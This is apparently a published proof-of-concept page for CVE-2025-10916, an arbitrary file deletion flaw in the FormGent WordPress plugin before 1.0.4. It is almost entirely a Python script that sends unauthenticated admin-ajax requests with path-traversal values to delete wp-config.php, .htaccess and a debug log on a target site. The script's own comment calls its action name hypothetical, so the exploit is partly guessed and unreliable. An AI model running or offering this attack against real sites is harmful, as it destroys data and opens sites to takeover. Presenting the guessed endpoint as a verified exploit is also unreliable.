CVE-2025-10916：FormGent WordPress插件任意文件删除漏洞

# CVE-2025-10916 - FormGent WordPress Plugin Arbitrary File Deletion PoC # Vulnerability: Insufficient file path validation in FormGent plugin < 1.0.4 # CVSS: 9.1 (CRITICAL) import requests TARGET_URL = "http://target-wordpress-site.com" # The vulnerable endpoint in FormGent plugin that handles file deletion VULNERABLE_ENDPOINT = "/wp-admin/admin-ajax.php" def exploit(target_url, file_to_delete): """ Exploit arbitrary file deletion vulnerability in FormGent WordPress plugin. Args: target_url: The base URL of the target WordPress site file_to_delete: Relative path to the file to delete (e.g., '../../../wp-config.php') """ url = f"{target_url}{VULNERABLE_ENDPOINT}" # Construct payload with path traversal to delete arbitrary files payload = { "action": "formgent_delete_file", # Hypothetical action name "file_path": file_to_delete } # Send exploit request - no authentication required (PR:N) response = requests.post(url, data=payload) if response.status_code == 200: print(f"[+] Exploit sent successfully to delete: {file_to_delete}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed. Status code: {response.status_code}") return False if __name__ == "__main__": # Target critical WordPress files for deletion target_files = [ "../../../wp-config.php", # WordPress configuration file "../../../.htaccess", # Apache configuration "../../../wp-content/debug.log", # Debug log file ] for target_file in target_files: exploit(TARGET_URL, target_file)